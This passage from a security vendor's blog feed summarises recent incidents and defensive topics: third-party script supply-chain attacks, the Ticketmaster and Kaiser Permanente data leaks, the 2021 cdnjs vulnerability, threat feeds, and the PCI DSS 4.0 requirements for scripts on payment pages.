sites, exposing thousands of users to cryptojacking without their knowledge.Mon, 10 Jun 2024 00:00:00 GMTBlogSimon Wijckmanshttps://cside.com/blog/supply-chain-attacks-doesnt-end-at-npmhttps://cside.com/blog/supply-chain-attacks-doesnt-end-at-npmBy only checking NPM (or another registry), you’re not protected from attacks through third-party scripts.Thu, 30 May 2024 00:00:00 GMTBlogSimon Wijckmanshttps://cside.com/blog/ticketmaster-data-breach-deja-vu-what-you-need-to-knowhttps://cside.com/blog/ticketmaster-data-breach-deja-vu-what-you-need-to-knowYesterday on May 29, 2024, news broke of an alleged data breach involving Ticketmaster, a prominent ticket sales and distribution company. Ticketmaster has confirmed unauthorized activity within a third-party cloud database environment, claiming to have exposed the personal information of over 500 million customers. This breach includes sensitive data such as emails, phone numbers, addresses, and financial details. ShinyHunters, a notorious attacker, reposted the breach . According to reports,Thu, 30 May 2024 00:00:00 GMTBlogSimon Wijckmanshttps://cside.com/blog/kaiser-permanente-data-leak-a-case-of-miscommunication-and-inadequate-disclosurehttps://cside.com/blog/kaiser-permanente-data-leak-a-case-of-miscommunication-and-inadequate-disclosureOn April 29th, healthcare giant Kaiser Permanente disclosed a data leak impacting 13.4 million current and former insurance members. The incident was rooted in improperly managed 3rd party scripts. The Incident Kaiser Permanente used tracking codes to monitor how its members navigated through its website and mobile applications. Some of these pages contained sensitive healthcare data, leading to the 3rd party scripts inadvertently transmitted information to third-party vendors they weren’tSat, 25 May 2024 00:00:00 GMTBlogSimon Wijckmanshttps://cside.com/blog/are-threat-feeds-still-good-in-2024https://cside.com/blog/are-threat-feeds-still-good-in-2024The idea behind threat feeds is valid. But, we’d argue it’s past its prime at this point. And with where technology is today, there are better options. Threat feeds are (often) a list of community-sourced security information. When someone notices a vulnerability, they’ll put out a notice to the thread feed manually. It then gets picked up, and featured in the feed where security folk at their respective companies read it and check their own systems to see if they are prone to potential danger.Sun, 28 Apr 2024 00:00:00 GMTBlogSimon Wijckmanshttps://cside.com/blog/the-2021-cdnjs-vulnerabilityhttps://cside.com/blog/the-2021-cdnjs-vulnerabilityVerifying that your 3rd party script sources are reputable is important. But that alone may not be enough. That’s what the world learned in 2021, when a massive vulnerability in Cloudlfare’s cdnjs was flagged. Here’s the rundown of what, and how, it happened. Cdnjs is one of the most commonly used JavaScript Content Delivery Networks (CDNs) of today. Over 12% of all websites on the internet inject at least one script through cdnjs. A researcher with the screen name ‘RyotaK’ shared a supply chaSun, 28 Apr 2024 00:00:00 GMTBlogSimon Wijckmanshttps://cside.com/blog/the-risk-of-only-protecting-your-payment-portalshttps://cside.com/blog/the-risk-of-only-protecting-your-payment-portalsPCI DSS 4.0 is here. By March 2025, it mandates that payment portals need to have a way to authorize each script on payment pages. Websites need to maintain an inventory of all scripts (on those payment portals at least) and ensure their integrity. You now need to detect and respond to unauthorized modifications on payment pages, including changes to HTTP headers and page contents. Organizations must check these configurations at least once every seven days or as determined by their risk analysiMon, 15 Apr 2024 00:00:00 GMTBlogSimon Wijckmanshttps://cside.com/blog/pci-dss-4-0-complete-guide-and-stepshttps://cside.com/blog/pci-dss-4-0-complete-guide-and-stepsPCI DSS 4.0 complete guide and steps The Payment Card Industry Data Security Standard (PCI DSS) is a set of guidelines that ensures the safeMon, 04 Mar 2024 00:00:00 GMTBlogSimon Wijckmans